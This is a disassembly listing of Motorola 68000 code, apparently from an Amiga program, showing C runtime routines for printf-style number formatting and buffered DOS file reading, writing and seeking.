MOVE.B D0,-63(A5) ;0D8A: 1B40FFC1
SUBQ.L #1,(A4) ;0D8E: 5394
BTST #0,D7 ;0D90: 08070000
BNE.S LAB_00C5 ;0D94: 6606
MOVE.B #$01,-97(A5) ;0D96: 1B7C0001FF9F
LAB_00C5:
MOVE.L (A4),D5 ;0D9C: 2A14
ADDQ.L #1,D5 ;0D9E: 5285
MOVE.B -63(A5),D0 ;0DA0: 102DFFC1
CMP.B #$66,D0 ;0DA4: B03C0066
BNE.S LAB_00C6 ;0DA8: 6602
ADD.L D6,D5 ;0DAA: DA86
LAB_00C6:
CLR.L -114(A5) ;0DAC: 42ADFF8E
BRA.S LAB_00C8 ;0DB0: 603E
LAB_00C7:
MOVE.L (A2),D0 ;0DB2: 2012
MOVE.L (A3),D1 ;0DB4: 2213
JSR -30(A6) ;0DB6: 4EAEFFE2
MOVEQ #48,D1 ;0DBA: 7230
ADD.B D0,D1 ;0DBC: D200
MOVE.L -114(A5),D0 ;0DBE: 202DFF8E
ADDQ.L #1,-114(A5) ;0DC2: 52ADFF8E
MOVE.B D1,-34(A5,D0.L) ;0DC6: 1B8108DE
MOVE.L (A2),D0 ;0DCA: 2012
MOVE.L (A3),D1 ;0DCC: 2213
JSR -30(A6) ;0DCE: 4EAEFFE2
DC.W $49C0 ;0DD2
JSR -36(A6) ;0DD4: 4EAEFFDC
MOVE.L D0,D2 ;0DD8: 2400
MOVE.L D1,D3 ;0DDA: 2601
MOVE.L (A2),D0 ;0DDC: 2012
MOVE.L (A3),D1 ;0DDE: 2213
JSR -72(A6) ;0DE0: 4EAEFFB8
MOVE.L D4,D2 ;0DE4: 2404
MOVEQ #0,D3 ;0DE6: 7600
JSR -78(A6) ;0DE8: 4EAEFFB2
MOVE.L D0,(A2) ;0DEC: 2480
MOVE.L D1,(A3) ;0DEE: 2681
LAB_00C8:
MOVE.L -114(A5),D0 ;0DF0: 202DFF8E
CMP.L D5,D0 ;0DF4: B085
BCC.S LAB_00C9 ;0DF6: 6406
MOVEQ #16,D1 ;0DF8: 7210
CMP.L D1,D0 ;0DFA: B081
BCS.S LAB_00C7 ;0DFC: 65B4
LAB_00C9:
TST.B -97(A5) ;0DFE: 4A2DFF9F
BEQ.S LAB_00CC ;0E02: 671C
BRA.S LAB_00CB ;0E04: 6002
LAB_00CA:
SUBQ.L #1,(A4) ;0E06: 5394
LAB_00CB:
TST.L (A4) ;0E08: 4A94
BEQ.S LAB_00CC ;0E0A: 6714
MOVE.L D5,D0 ;0E0C: 2005
SUBQ.L #1,D5 ;0E0E: 5385
CMP.L -114(A5),D0 ;0E10: B0ADFF8E
BHI.S LAB_00CA ;0E14: 62F0
MOVE.B -34(A5,D5.L),D0 ;0E16: 103558DE
CMP.B #$30,D0 ;0E1A: B03C0030
BEQ.S LAB_00CA ;0E1E: 67E6
LAB_00CC:
MOVE.B -63(A5),D0 ;0E20: 102DFFC1
CMP.B #$66,D0 ;0E24: B03C0066
BNE.S LAB_00CD ;0E28: 660C
MOVE.L (A4),D0 ;0E2A: 2014
ADDQ.L #1,D0 ;0E2C: 5280
MOVE.L D6,D1 ;0E2E: 2206
BLE.S LAB_00CF ;0E30: 6F18
ADD.L D6,D0 ;0E32: D086
BRA.S LAB_00CF ;0E34: 6014
LAB_00CD:
MOVE.L (A4),D0 ;0E36: 2014
ADDQ.L #5,D0 ;0E38: 5A80
MOVE.L D6,D1 ;0E3A: 2206
MOVEQ #99,D3 ;0E3C: 7663
CMP.L D3,D1 ;0E3E: B283
BGT.S LAB_00CE ;0E40: 6E06
MOVEQ #-99,D3 ;0E42: 769D
CMP.L D3,D1 ;0E44: B283
BGE.S LAB_00CF ;0E46: 6C02
LAB_00CE:
ADDQ.L #1,D0 ;0E48: 5280
LAB_00CF:
TST.L (A4) ;0E4A: 4A94
BNE.S LAB_00D0 ;0E4C: 6606
BTST #0,D7 ;0E4E: 08070000
BEQ.S LAB_00D1 ;0E52: 6702
LAB_00D0:
ADDQ.L #1,D0 ;0E54: 5280
LAB_00D1:
TST.B -98(A5) ;0E56: 4A2DFF9E
SNE D1 ;0E5A: 56C1
MOVEQ #1,D3 ;0E5C: 7601
AND.L D3,D1 ;0E5E: C283
MOVE.L D0,D3 ;0E60: 2600
ADD.L D1,D3 ;0E62: D681
CMP.L -8(A5),D3 ;0E64: B6ADFFF8
BCS.S LAB_00D2 ;0E68: 6504
MOVEQ #0,D3 ;0E6A: 7600
BRA.S LAB_00D3 ;0E6C: 6008
LAB_00D2:
MOVE.L -8(A5),D0 ;0E6E: 202DFFF8
SUB.L D3,D0 ;0E72: 9083
MOVE.L D0,D3 ;0E74: 2600
LAB_00D3:
TST.B -98(A5) ;0E76: 4A2DFF9E
BEQ.S LAB_00D4 ;0E7A: 6710
BTST #1,D7 ;0E7C: 08070001
BEQ.S LAB_00D4 ;0E80: 670A
MOVE.B -98(A5),D0 ;0E82: 102DFF9E
DC.W $49C0 ;0E86
BSR LAB_00E6 ;0E88: 610000B6
LAB_00D4:
BTST #2,D7 ;0E8C: 08070002
BNE.S LAB_00DA ;0E90: 662A
MOVEQ #0,D2 ;0E92: 7400
BRA.S LAB_00D9 ;0E94: 6022
LAB_00D5:
BTST #1,D7 ;0E96: 08070001
BEQ.S LAB_00D7 ;0E9A: 6714
MOVEQ #48,D0 ;0E9C: 7030
BRA.S LAB_00D8 ;0E9E: 6012
LAB_00D6:
CMP.L -114(A5),D5 ;0EA0: BAADFF8E
BCC.S LAB_00DC ;0EA4: 6440
MOVE.B -34(A5,D5.L),D0 ;0EA6: 103558DE
DC.W $49C0 ;0EAA
ADDQ.L #1,D5 ;0EAC: 5285
BRA.S LAB_00DD ;0EAE: 6038
LAB_00D7:
MOVEQ #32,D0 ;0EB0: 7020
LAB_00D8:
BSR LAB_00E6 ;0EB2: 6100008C
ADDQ.L #1,D2 ;0EB6: 5282
LAB_00D9:
CMP.L D3,D2 ;0EB8: B483
BCS.S LAB_00D5 ;0EBA: 65DA
LAB_00DA:
TST.B -98(A5) ;0EBC: 4A2DFF9E
BEQ.S LAB_00DB ;0EC0: 670E
BTST #1,D7 ;0EC2: 08070001
BNE.S LAB_00DB ;0EC6: 6608
MOVE.B -98(A5),D0 ;0EC8: 102DFF9E
DC.W $49C0 ;0ECC
BSR.S LAB_00E6 ;0ECE: 6170
LAB_00DB:
MOVEQ #0,D5 ;0ED0: 7A00
MOVE.B -63(A5),D0 ;0ED2: 102DFFC1
CMP.B #$66,D0 ;0ED6: B03C0066
BNE.S LAB_00E2 ;0EDA: 6644
TST.L D6 ;0EDC: 4A86
BPL.S LAB_00D6 ;0EDE: 6AC0
MOVEQ #48,D0 ;0EE0: 7030
BSR.S LAB_00E6 ;0EE2: 615C
BRA.S LAB_00DE ;0EE4: 6008
LAB_00DC:
MOVEQ #48,D0 ;0EE6: 7030
LAB_00DD:
BSR.S LAB_00E6 ;0EE8: 6156
SUBQ.L #1,D6 ;0EEA: 5386
BPL.S LAB_00D6 ;0EEC: 6AB2
LAB_00DE:
TST.L (A4) ;0EEE: 4A94
BNE.S LAB_00DF ;0EF0: 6608
BTST #0,D7 ;0EF2: 08070000
BEQ LAB_00EE ;0EF6: 670000B6
LAB_00DF:
MOVEQ #46,D0 ;0EFA: 702E
BRA.S LAB_00E1 ;0EFC: 6002
LAB_00E0:
MOVEQ #48,D0 ;0EFE: 7030
LAB_00E1:
BSR.S LAB_00E6 ;0F00: 613E
MOVE.L (A4),D0 ;0F02: 2014
SUBQ.L #1,(A4) ;0F04: 5394
TST.L D0 ;0F06: 4A80
BEQ LAB_00EE ;0F08: 670000A4
ADDQ.L #1,D6 ;0F0C: 5286
BMI.S LAB_00E0 ;0F0E: 6BEE
CMP.L -114(A5),D5 ;0F10: BAADFF8E
BCC.S LAB_00E0 ;0F14: 64E8
MOVE.B -34(A5,D5.L),D0 ;0F16: 103558DE
DC.W $49C0 ;0F1A
ADDQ.L #1,D5 ;0F1C: 5285
BRA.S LAB_00E1 ;0F1E: 60E0
LAB_00E2:
MOVE.B -34(A5,D5.L),D0 ;0F20: 103558DE
DC.W $49C0 ;0F24
ADDQ.L #1,D5 ;0F26: 5285
BSR.S LAB_00E6 ;0F28: 6116
TST.L (A4) ;0F2A: 4A94
BNE.S LAB_00E3 ;0F2C: 6606
BTST #0,D7 ;0F2E: 08070000
BEQ.S LAB_00EA ;0F32: 6744
LAB_00E3:
MOVEQ #46,D0 ;0F34: 702E
BRA.S LAB_00E9 ;0F36: 6036
LAB_00E4:
DC.W $4C41 ;0F38
DC.W $0801 ;0F3A
LAB_00E5:
MOVEQ #48,D0 ;0F3C: 7030
ADD.L D1,D0 ;0F3E: D081
LAB_00E6:
MOVE.L D0,-(A7) ;0F40: 2F00
MOVEA.L 8(A5),A0 ;0F42: 206D0008
MOVE.L A0,-(A7) ;0F46: 2F08
MOVEA.L 72(A0),A0 ;0F48: 20680048
JSR (A0) ;0F4C: 4E90
ADDQ #8,A7 ;0F4E: 504F
ADDQ.L #1,D0 ;0F50: 5280
BEQ LAB_0114 ;0F52: 6700017E
ADDQ.L #1,-50(A5) ;0F56: 52ADFFCE
RTS ;0F5A: 4E75
LAB_00E7:
CMP.L -114(A5),D5 ;0F5C: BAADFF8E
BCC.S LAB_00E8 ;0F60: 640A
MOVE.B -34(A5,D5.L),D0 ;0F62: 103558DE
DC.W $49C0 ;0F66
ADDQ.L #1,D5 ;0F68: 5285
BRA.S LAB_00E9 ;0F6A: 6002
LAB_00E8:
MOVEQ #48,D0 ;0F6C: 7030
LAB_00E9:
BSR.S LAB_00E6 ;0F6E: 61D0
MOVE.L (A4),D0 ;0F70: 2014
SUBQ.L #1,(A4) ;0F72: 5394
TST.L D0 ;0F74: 4A80
BNE.S LAB_00E7 ;0F76: 66E4
LAB_00EA:
MOVE.B -63(A5),D0 ;0F78: 102DFFC1
DC.W $49C0 ;0F7C
BSR.S LAB_00E6 ;0F7E: 61C0
TST.L D6 ;0F80: 4A86
BPL.S LAB_00EB ;0F82: 6A06
MOVEQ #45,D0 ;0F84: 702D
NEG.L D6 ;0F86: 4486
BRA.S LAB_00EC ;0F88: 6002
LAB_00EB:
MOVEQ #43,D0 ;0F8A: 702B
LAB_00EC:
BSR.S LAB_00E6 ;0F8C: 61B2
MOVEQ #99,D0 ;0F8E: 7063
CMP.L D0,D6 ;0F90: BC80
BLE.S LAB_00ED ;0F92: 6F0A
MOVE.L D6,D0 ;0F94: 2006
MOVEQ #100,D1 ;0F96: 7264
DC.W $4C41 ;0F98
DC.W $0800 ;0F9A
BSR.S LAB_00E5 ;0F9C: 619E
LAB_00ED:
MOVE.L D6,D0 ;0F9E: 2006
MOVEQ #10,D1 ;0FA0: 720A
DC.W $4C41 ;0FA2
DC.W $0800 ;0FA4
BSR.S LAB_00E4 ;0FA6: 6190
MOVE.L D6,D0 ;0FA8: 2006
MOVEQ #10,D1 ;0FAA: 720A
BSR.S LAB_00E4 ;0FAC: 618A
LAB_00EE:
BTST #2,D7 ;0FAE: 08070002
BEQ.S LAB_00F1 ;0FB2: 670E
MOVEQ #0,D2 ;0FB4: 7400
BRA.S LAB_00F0 ;0FB6: 6006
LAB_00EF:
MOVEQ #32,D0 ;0FB8: 7020
BSR.S LAB_00E6 ;0FBA: 6184
ADDQ.L #1,D2 ;0FBC: 5282
LAB_00F0:
CMP.L D3,D2 ;0FBE: B483
BCS.S LAB_00EF ;0FC0: 65F6
LAB_00F1:
MOVEA.L -354(A5),A3 ;0FC2: 266DFE9E
BRA.S LAB_00F7 ;0FC6: 6038
LAB_00F2:
CMP.B #$25,D0 ;0FC8: B03C0025
BNE.S LAB_00F4 ;0FCC: 660C
LEA LAB_0115(PC),A2 ;0FCE: 45FA010E
LAB_00F3:
MOVEQ #1,D0 ;0FD2: 7001
MOVE.L D0,-46(A5) ;0FD4: 2B40FFD2
BRA.S LAB_00F8 ;0FD8: 602A
LAB_00F4:
CMP.B #$6E,D0 ;0FDA: B03C006E
BNE.S LAB_00F5 ;0FDE: 660C
MOVEA.L (A6)+,A0 ;0FE0: 205E
MOVE.L A6,16(A5) ;0FE2: 2B4E0010
MOVE.L -50(A5),(A0) ;0FE6: 20ADFFCE
BRA.S LAB_00F7 ;0FEA: 6014
LAB_00F5:
TST.B -63(A5) ;0FEC: 4A2DFFC1
BNE.S LAB_00F6 ;0FF0: 6602
SUBQ.L #1,A3 ;0FF2: 538B
LAB_00F6:
MOVEA.L 12(A5),A2 ;0FF4: 246D000C
MOVE.L A3,D0 ;0FF8: 200B
SUB.L A2,D0 ;0FFA: 908A
MOVE.L D0,-46(A5) ;0FFC: 2B40FFD2
LAB_00F7:
CLR.L -8(A5) ;1000: 42ADFFF8
LAB_00F8:
CLR.L (A4) ;1004: 4294
LAB_00F9:
MOVE.L -46(A5),D0 ;1006: 202DFFD2
CMP.L (A4),D0 ;100A: B094
BCC.S LAB_00FA ;100C: 6402
MOVE.L (A4),D0 ;100E: 2014
LAB_00FA:
MOVE.L -42(A5),D3 ;1010: 262DFFD6
ADD.L D0,D3 ;1014: D680
CMP.L -8(A5),D3 ;1016: B6ADFFF8
BCS.S LAB_00FB ;101A: 6504
MOVEQ #0,D3 ;101C: 7600
BRA.S LAB_00FC ;101E: 6008
LAB_00FB:
MOVE.L -8(A5),D0 ;1020: 202DFFF8
SUB.L D3,D0 ;1024: 9083
MOVE.L D0,D3 ;1026: 2600
LAB_00FC:
BTST #1,D7 ;1028: 08070001
BEQ.S LAB_00FF ;102C: 670E
MOVEQ #0,D2 ;102E: 7400
BRA.S LAB_00FE ;1030: 6004
LAB_00FD:
BSR.S LAB_010C ;1032: 6166
ADDQ.L #1,D2 ;1034: 5282
LAB_00FE:
CMP.L -42(A5),D2 ;1036: B4ADFFD6
BCS.S LAB_00FD ;103A: 65F6
LAB_00FF:
BTST #2,D7 ;103C: 08070002
BNE.S LAB_0104 ;1040: 6618
MOVEQ #0,D2 ;1042: 7400
BRA.S LAB_0103 ;1044: 6010
LAB_0100:
BTST #1,D7 ;1046: 08070001
BEQ.S LAB_0101 ;104A: 6704
MOVEQ #48,D0 ;104C: 7030
BRA.S LAB_0102 ;104E: 6002
LAB_0101:
MOVEQ #32,D0 ;1050: 7020
LAB_0102:
BSR.S LAB_010E ;1052: 614C
ADDQ.L #1,D2 ;1054: 5282
LAB_0103:
CMP.L D3,D2 ;1056: B483
BCS.S LAB_0100 ;1058: 65EC
LAB_0104:
BTST #1,D7 ;105A: 08070001
BNE.S LAB_0107 ;105E: 660E
MOVEQ #0,D2 ;1060: 7400
BRA.S LAB_0106 ;1062: 6004
LAB_0105:
BSR.S LAB_010C ;1064: 6134
ADDQ.L #1,D2 ;1066: 5282
LAB_0106:
CMP.L -42(A5),D2 ;1068: B4ADFFD6
BCS.S LAB_0105 ;106C: 65F6
LAB_0107:
MOVE.L -46(A5),D2 ;106E: 242DFFD2
BRA.S LAB_0109 ;1072: 6006
LAB_0108:
MOVEQ #48,D0 ;1074: 7030
BSR.S LAB_010E ;1076: 6128
ADDQ.L #1,D2 ;1078: 5282
LAB_0109:
CMP.L (A4),D2 ;107A: B494
BCS.S LAB_0108 ;107C: 65F6
MOVEQ #0,D2 ;107E: 7400
BRA.S LAB_010B ;1080: 6008
LAB_010A:
MOVE.B 0(A2,D2.L),D0 ;1082: 10322800
BSR.S LAB_010D ;1086: 6116
ADDQ.L #1,D2 ;1088: 5282
LAB_010B:
CMP.L -46(A5),D2 ;108A: B4ADFFD2
BCS.S LAB_010A ;108E: 65F2
BTST #2,D7 ;1090: 08070002
BEQ.S LAB_0111 ;1094: 672E
MOVEQ #0,D2 ;1096: 7400
BRA.S LAB_0110 ;1098: 6026
LAB_010C:
MOVE.B -18(A5,D2.L),D0 ;109A: 103528EE
LAB_010D:
DC.W $49C0 ;109E
LAB_010E:
MOVE.L D0,-(A7) ;10A0: 2F00
MOVEA.L 8(A5),A0 ;10A2: 206D0008
MOVE.L A0,-(A7) ;10A6: 2F08
MOVEA.L 72(A0),A0 ;10A8: 20680048
JSR (A0) ;10AC: 4E90
ADDQ #8,A7 ;10AE: 504F
ADDQ.L #1,D0 ;10B0: 5280
BEQ.S LAB_0114 ;10B2: 671E
ADDQ.L #1,-50(A5) ;10B4: 52ADFFCE
RTS ;10B8: 4E75
LAB_010F:
MOVEQ #32,D0 ;10BA: 7020
BSR.S LAB_010E ;10BC: 61E2
ADDQ.L #1,D2 ;10BE: 5282
LAB_0110:
CMP.L D3,D2 ;10C0: B483
BCS.S LAB_010F ;10C2: 65F6
LAB_0111:
MOVEA.L A3,A2 ;10C4: 244B
BRA.S LAB_0113 ;10C6: 6004
LAB_0112:
MOVE.B (A2)+,D0 ;10C8: 101A
BSR.S LAB_010D ;10CA: 61D2
LAB_0113:
TST.B (A2) ;10CC: 4A12
BNE LAB_0080 ;10CE: 6600F8A4
LAB_0114:
MOVE.L -50(A5),D0 ;10D2: 202DFFCE
MOVEM.L (A7)+,D2-D7/A2-A4/A6 ;10D6: 4CDF5CFC
UNLK A5 ;10DA: 4E5D
RTS ;10DC: 4E75
LAB_0115:
MOVE.L D0,-(A2) ;10DE: 2500
LAB_0116:
DC.W $2B69 ;10E0
BGT.S LAB_011E+2 ;10E2: 6E66
LAB_0117:
DC.W $002D ;10E4
BVS.S LAB_0120 ;10E6: 696E
DC.W $6600 ;10E8
LAB_0118:
MOVE.L A1,USP ;10EA: 4E61
DC.W $4E00 ;10EC
DC.W $0000 ;10EE
LAB_0119:
MOVEM.L D2-D3/A2-A3/A6,-(A7) ;10F0: 48E73032
MOVEA.L 24(A7),A2 ;10F4: 246F0018
MOVEA.L dosstore,A6 ;10F8: 2C79000017A4
LEA -256(A7),A3 ;10FE: 47EFFF00
MOVEQ #0,D2 ;1102: 7400
MOVE.L A2,-(A7) ;1104: 2F0A
BSR LAB_011E ;1106: 61000040
ADDQ #4,A7 ;110A: 584F
BTST #3,20(A2) ;110C: 082A00030014
BEQ.S LAB_011A ;1112: 6712
MOVE.L 8(A2),D1 ;1114: 222A0008
MOVE.L A3,D2 ;1118: 240B
MOVE.L #$00000100,D3 ;111A: 263C00000100
JSR -408(A6) ;1120: 4EAEFE68
MOVE.L D0,D2 ;1124: 2400
LAB_011A:
MOVE.L 8(A2),D1 ;1126: 222A0008
JSR -36(A6) ;112A: 4EAEFFDC
BNE.S LAB_011B ;112E: 6604
MOVEQ #-1,D0 ;1130: 70FF
BRA.S LAB_011D ;1132: 600C
LAB_011B:
TST.L D2 ;1134: 4A82
BEQ.S LAB_011C ;1136: 6706
MOVE.L A3,D1 ;1138: 220B
JSR -72(A6) ;113A: 4EAEFFB8
LAB_011C:
MOVEQ #0,D0 ;113E: 7000
LAB_011D:
MOVEM.L (A7)+,D2-D3/A2-A3/A6 ;1140: 4CDF4C0C
RTS ;1144: 4E75
DC.W $0000 ;1146
LAB_011E:
MOVEM.L D2-D4/A2-A3/A5-A6,-(A7) ;1148: 48E73836
MOVEQ #0,D0 ;114C: 7000
MOVEA.L 32(A7),A2 ;114E: 246F0020
MOVE.L 28(A2),D2 ;1152: 242A001C
LAB_0120:
BEQ.S LAB_0123 ;1156: 674A
LEA 36(A2),A3 ;1158: 47EA0024
LEA 40(A2),A5 ;115C: 4BEA0028
MOVEA.L dosstore,A6 ;1160: 2C79000017A4
MOVE.L 8(A2),D1 ;1166: 222A0008
MOVE.L 20(A2),D4 ;116A: 282A0014
BTST #5,D4 ;116E: 08040005
BEQ.S LAB_0121 ;1172: 671A
MOVE.L (A3),D3 ;1174: 2613
SUB.L (A5),D3 ;1176: 9695
ADD.L (A5),D2 ;1178: D495
JSR -48(A6) ;117A: 4EAEFFD0
CMP.L D3,D0 ;117E: B083
BGE.S LAB_0122 ;1180: 6C1C
JSR -132(A6) ;1182: 4EAEFF7C
MOVE.L D0,24(A2) ;1186: 25400018
MOVEQ #-1,D0 ;118A: 70FF
BRA.S LAB_0122 ;118C: 6010
LAB_0121:
BTST #6,D4 ;118E: 08040006
BEQ.S LAB_0123 ;1192: 670E
MOVE.L (A5),D2 ;1194: 2415
SUB.L (A3),D2 ;1196: 9493
MOVEQ #0,D3 ;1198: 7600
JSR -66(A6) ;119A: 4EAEFFBE
LAB_0122:
CLR.L (A5) ;119E: 4295
CLR.L (A3) ;11A0: 4293
LAB_0123:
MOVEQ #-97,D1 ;11A2: 729F
AND.L D1,20(A2) ;11A4: C3AA0014
MOVEM.L (A7)+,D2-D4/A2-A3/A5-A6 ;11A8: 4CDF6C1C
RTS ;11AC: 4E75
DC.W $0000 ;11AE
LAB_0124:
MOVEM.L D2-D7/A2-A6,-(A7) ;11B0: 48E73F3E
MOVE.L 56(A7),D3 ;11B4: 262F0038
MOVEA.L 48(A7),A3 ;11B8: 266F0030
MOVE.L 52(A7),D7 ;11BC: 2E2F0034
MOVEA.L dosstore,A6 ;11C0: 2C79000017A4
MOVEQ #0,D6 ;11C6: 7C00
LEA 60(A7),A5 ;11C8: 4BEF003C
LEA 40(A3),A2 ;11CC: 45EB0028
LEA 28(A3),A4 ;11D0: 49EB001C
BNE.S LAB_0126 ;11D4: 6614
MOVE.L 8(A3),D1 ;11D6: 222B0008
MOVE.L D7,D2 ;11DA: 2407
JSR -42(A6) ;11DC: 4EAEFFD6
MOVE.L D0,D5 ;11E0: 2A00
BNE.S LAB_0125 ;11E2: 6602
MOVEQ #1,D6 ;11E4: 7C01
LAB_0125:
BRA LAB_0134 ;11E6: 6000009C
LAB_0126:
BTST #5,23(A3) ;11EA: 082B00050017
BEQ.S LAB_0127 ;11F0: 6708
MOVE.L A3,-(A7) ;11F2: 2F0B
BSR LAB_011E ;11F4: 6100FF52
ADDQ #4,A7 ;11F8: 584F
LAB_0127:
MOVEQ #0,D5 ;11FA: 7A00
MOVE.L D3,D4 ;11FC: 2803
BLE.S LAB_0133 ;11FE: 6F7E
LAB_0128:
MOVE.L 36(A3),D0 ;1200: 202B0024
SUB.L (A2),D0 ;1204: 9092
BLE.S LAB_012F ;1206: 6F4E
CMP.L D4,D0 ;1208: B084
BLE.S LAB_0129 ;120A: 6F02
MOVE.L D4,D0 ;120C: 2004
LAB_0129:
TST.L (A5) ;120E: 4A95
BEQ.S LAB_012C ;1210: 672A
MOVEA.L D7,A0 ;1212: 2047
MOVEA.L (A4),A1 ;1214: 2254
ADDA.L (A2),A1 ;1216: D3D2
TST.L D0 ;1218: 4A80
BLE.S LAB_012B ;121A: 6F0E
LAB_012A:
MOVE.B (A1)+,D1 ;121C: 1219
MOVE.B D1,(A0)+ ;121E: 10C1
CMP.B #$0A,D1 ;1220: B23C000A
BEQ.S LAB_012B ;1224: 6704
SUBQ.L #1,D0 ;1226: 5380
BGT.S LAB_012A ;1228: 6EF2
LAB_012B:
MOVE.L A0,D2 ;122A: 2408
SUB.L D7,D2 ;122C: 9487
MOVE.L A0,D7 ;122E: 2E08
SUB.L D2,D4 ;1230: 9882
ADD.L D2,(A2) ;1232: D592
ADD.L D2,D5 ;1234: DA82
TST.L D0 ;1236: 4A80
BLE.S LAB_0132 ;1238: 6F40
BRA.S LAB_0133 ;123A: 6042
LAB_012C:
MOVEA.L (A4),A1 ;123C: 2254
ADDA.L (A2),A1 ;123E: D3D2
MOVEA.L D7,A0 ;1240: 2047
MOVE.L D0,D1 ;1242: 2200
BEQ.S LAB_012E ;1244: 6706
LAB_012D:
MOVE.B (A1)+,(A0)+ ;1246: 10D9
SUBQ.L #1,D1 ;1248: 5381
BNE.S LAB_012D ;124A: 66FA
LAB_012E:
ADD.L D0,D6 ;124C: DC80
SUB.L D0,D4 ;124E: 9880
ADD.L D0,(A2) ;1250: D192
ADD.L D0,D5 ;1252: DA80
BRA.S LAB_0132 ;1254: 6024
LAB_012F:
MOVE.L 32(A3),D3 ;1256: 262B0020
MOVE.L (A4),D2 ;125A: 2414
MOVE.L 8(A3),D1 ;125C: 222B0008
JSR -42(A6) ;1260: 4EAEFFD6
BGT.S LAB_0131 ;1264: 6E0E
BNE.S LAB_0130 ;1266: 6604
TST.L D5 ;1268: 4A85
BGT.S LAB_0133 ;126A: 6E12
LAB_0130:
MOVE.L D0,D5 ;126C: 2A00
BNE.S LAB_0133 ;126E: 660E
MOVEQ #1,D6 ;1270: 7C01
BRA.S LAB_0133 ;1272: 600A
LAB_0131:
CLR.L (A2) ;1274: 4292
MOVE.L D0,36(A3) ;1276: 27400024
LAB_0132:
TST.L D4 ;127A: 4A84
BGT.S LAB_0128 ;127C: 6E82
LAB_0133:
MOVEQ #64,D7 ;127E: 7E40
OR.L D7,20(A3) ;1280: 8FAB0014
LAB_0134:
TST.L D5 ;1284: 4A85
BPL.S LAB_0135 ;1286: 6A0A
JSR -132(A6) ;1288: 4EAEFF7C
MOVE.L D0,24(A3) ;128C: 27400018
BRA.S LAB_0137 ;1290: 6012
LAB_0135:
TST.L D6 ;1292: 4A86
BEQ.S LAB_0136 ;1294: 6708
MOVEQ #1,D7 ;1296: 7E01
OR.L D7,20(A3) ;1298: 8FAB0014
BRA.S LAB_0137 ;129C: 6006
LAB_0136:
MOVEQ #-2,D7 ;129E: 7EFE
AND.L D7,20(A3) ;12A0: CFAB0014
LAB_0137:
MOVE.L D5,D0 ;12A4: 2005
MOVEM.L (A7)+,D2-D7/A2-A6 ;12A6: 4CDF7CFC
RTS ;12AA: 4E75
LAB_0138:
MOVEM.L D2-D3/A2/A6,-(A7) ;12AC: 48E73022
MOVEM.L 24(A7),D2-D3 ;12B0: 4CEF000C0018
MOVEA.L 20(A7),A2 ;12B6: 246F0014
MOVE.L A2,-(A7) ;12BA: 2F0A
BSR LAB_011E ;12BC: 6100FE8A
ADDQ #4,A7 ;12C0: 584F
MOVE.L 8(A2),D1 ;12C2: 222A0008
MOVEA.L dosstore,A6 ;12C6: 2C79000017A4
JSR -66(A6) ;12CC: 4EAEFFBE
MOVE.L D0,D2 ;12D0: 2400
ADDQ.L #1,D0 ;12D2: 5280
BNE.S LAB_0139 ;12D4: 6608
JSR -132(A6) ;12D6: 4EAEFF7C
MOVE.L D0,24(A2) ;12DA: 25400018
LAB_0139:
MOVE.L D2,D0 ;12DE: 2002
MOVEM.L (A7)+,D2-D3/A2/A6 ;12E0: 4CDF440C
RTS ;12E4: 4E75
DC.W $0000 ;12E6
LAB_013A:
MOVEM.L D2-D6/A2-A6,-(A7) ;12E8: 48E73E3E
MOVE.L 52(A7),D4 ;12EC: 282F0034
MOVEA.L 44(A7),A3 ;12F0: 266F002C
MOVEA.L dosstore,A6 ;12F4: 2C79000017A4
LEA 48(A7),A5 ;12FA: 4BEF0030
LEA 36(A3),A2 ;12FE: 45EB0024
LEA 40(A3),A4 ;1302: 49EB0028
MOVEQ #0,D5 ;1306: 7A00
MOVE.L 8(A3),D1 ;1308: 222B0008
MOVE.L 28(A3),D6 ;130C: 2C2B001C
BNE.S LAB_013B ;1310: 660E
MOVE.L (A5),D2 ;1312: 2415
MOVE.L D4,D3 ;1314: 2604
JSR -48(A6) ;1316: 4EAEFFD0
MOVE.L D0,D5 ;131A: 2A00
BRA LAB_0148 ;131C: 60000098
LAB_013B:
MOVEQ #64,D0 ;1320: 7040
AND.L D0,20(A3) ;1322: C1AB0014
BEQ.S LAB_0142 ;1326: 674A
MOVE.L A3,-(A7) ;1328: 2F0B
BSR LAB_011E ;132A: 6100FE1C
ADDQ #4,A7 ;132E: 584F
BRA.S LAB_0142 ;1330: 6040
LAB_013C:
MOVE.L 32(A3),D3 ;1332: 262B0020
SUB.L (A2),D3 ;1336: 9692
BLE.S LAB_0140 ;1338: 6F20
CMP.L D4,D3 ;133A: B684
BLS.S LAB_013D ;133C: 6302
MOVE.L D4,D3 ;133E: 2604
LAB_013D:
MOVEA.L (A5),A1 ;1340: 2255
MOVEA.L D6,A0 ;1342: 2046
ADDA.L (A2),A0 ;1344: D1D2
MOVE.L D3,D0 ;1346: 2003
BEQ.S LAB_013F ;1348: 6706
LAB_013E:
MOVE.B (A1)+,(A0)+ ;134A: 10D9
SUBQ.L #1,D0 ;134C: 5380
BNE.S LAB_013E ;134E: 66FA
LAB_013F:
ADD.L D3,(A5) ;1350: D795
SUB.L D3,D4 ;1352: 9883
ADD.L D3,(A2) ;1354: D792
ADD.L D3,D5 ;1356: DA83
BRA.S LAB_0142 ;1358: 6018
LAB_0140:
MOVE.L (A2),D3 ;135A: 2612
SUB.L (A4),D3 ;135C: 9694
MOVE.L D6,D2 ;135E: 2406
ADD.L (A4),D2 ;1360: D494
JSR -48(A6) ;1362: 4EAEFFD0
CMP.L D3,D0 ;1366: B083
BGE.S LAB_0141 ;1368: 6C04
MOVEQ #-1,D5 ;136A: 7AFF
BRA.S LAB_0143 ;136C: 6008
LAB_0141:
CLR.L (A4) ;136E: 4294
CLR.L (A2) ;1370: 4292
LAB_0142:
TST.L D4 ;1372: 4A84
BNE.S LAB_013C ;1374: 66BC
LAB_0143:
MOVEQ #-1,D0 ;1376: 70FF
CMP.L 44(A3),D0 ;1378: B0AB002C
BNE.S LAB_0147 ;137C: 6632
CMP.L D0,D5 ;137E: BA80
BEQ.S LAB_0147 ;1380: 672E
MOVEA.L D6,A0 ;1382: 2046
ADDA.L (A2),A0 ;1384: D1D2
MOVE.L D6,D2 ;1386: 2406
ADD.L (A4),D2 ;1388: D494
LAB_0144:
SUBQ #1,A0 ;138A: 5348
CMPA.L D2,A0 ;138C: B1C2
BCS.S LAB_0145 ;138E: 6506
CMPI.B #$0A,(A0) ;1390: 0C10000A
BNE.S LAB_0144 ;1394: 66F4
LAB_0145:
CMPA.L D2,A0 ;1396: B1C2
BCS.S LAB_0147 ;1398: 6516
MOVE.L A0,D3 ;139A: 2608
SUB.L D2,D3 ;139C: 9682
ADDQ.L #1,D3 ;139E: 5283
